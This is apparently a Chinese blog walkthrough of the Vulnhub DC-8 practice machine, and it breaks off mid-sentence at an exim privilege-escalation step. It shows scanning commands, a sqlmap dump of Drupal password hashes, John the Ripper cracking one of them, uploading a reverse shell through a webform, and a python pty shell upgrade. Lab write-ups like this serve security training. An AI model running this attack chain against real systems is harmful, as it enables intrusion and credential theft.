Vulnhub DC-8 Walkthrough
前言
最近的这几个靶场已经能够明显的感觉到变得困难了,从以前单纯的目录扫描就可以发现有价值的信息到现在的还有利用搜索引擎检索有用的信息,到现在的各种技巧,真的是蛮有收获的,建议对这方面感兴趣的都搞一下这个 DC-7
系列的,虽然作者的立场有些问题。算了,不管他了,又到了每一次的保留环节了。我要开始吟诗一首了。
风急天高猿啸哀,渚清沙白鸟飞回。
无边落木萧萧下,不尽长江衮衮来。
万里悲秋常作客,百年多病独登台。
艰难苦恨繁霜鬓,潦倒新停浊酒杯。
信息收集
IP 信息
首先是发现目标主机对吧,这是第一位的。使用 arp-scan
当前网段进行扫描。 arp-scan -l
。
端口信息
nmap -A -T4 192.168.17.176 -p-
SQL 注入
首先是查看网页是什么样子的,只是一个单纯的界面,然后源代码中也没有什么有价值的信息。
发现注入点
惊喜的发现,我偶尔点开一篇博文,看到了地址栏的链接,一看这样的格式 http://192.168.17.176/?nid=1
就知道可能是存在 SQL
注入的。简单的测试了一下,输入了一个单引号闭合之后,出现了如图所示的报错,那就说明这个点是存在注入漏洞的。结合之前 nmap
扫描到的一些信息,一些安装文件。简单的猜测一下数据库的类型。
sqlmap 爆破
sqlmap -u "192.168.17.176/?nid=1" -D d7db -T users -C name,pass --dump
+-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+
john
用 john
跑一下试试。跑出来了 john
的,哈哈。
┌──(justice㉿localhost)-[~]
└─$ john pass
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
turtle (?)
1g 0:00:00:01 DONE 2/3 (2022-05-24 21:19) 0.6944g/s 777.7p/s 777.7c/s 777.7C/s trident..williams
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
HTTP 枚举
dirb
dirb 192.168.17.176
发现了用户登陆的界面,尝试使用 john
登陆。
上传 PHP 代码
http://192.168.17.176/node/3#overlay=node/3/webform/configure
经过一番的探索,在这里找到了和上一个靶机 dc-7
一样的上传一个反弹 shell 的代码。
然后在 Contact Us
界面随便提交个东西,就连上了。
提权
先用 python -c 'import pty;pty.spawn("/bin/bash")'
美化一下。获取到 shell
之后,我切换到 /home
目录发现只有一个用户 dc8user
,但是它里面没有什么文件。
exim
find / -perm -u=s -type f 2>/dev/null
exim --version
到这里,我的靶机突然出现了一些问题,又因为这个版本的 exim
是存在漏洞的。可以去 searchsploit
洞,发现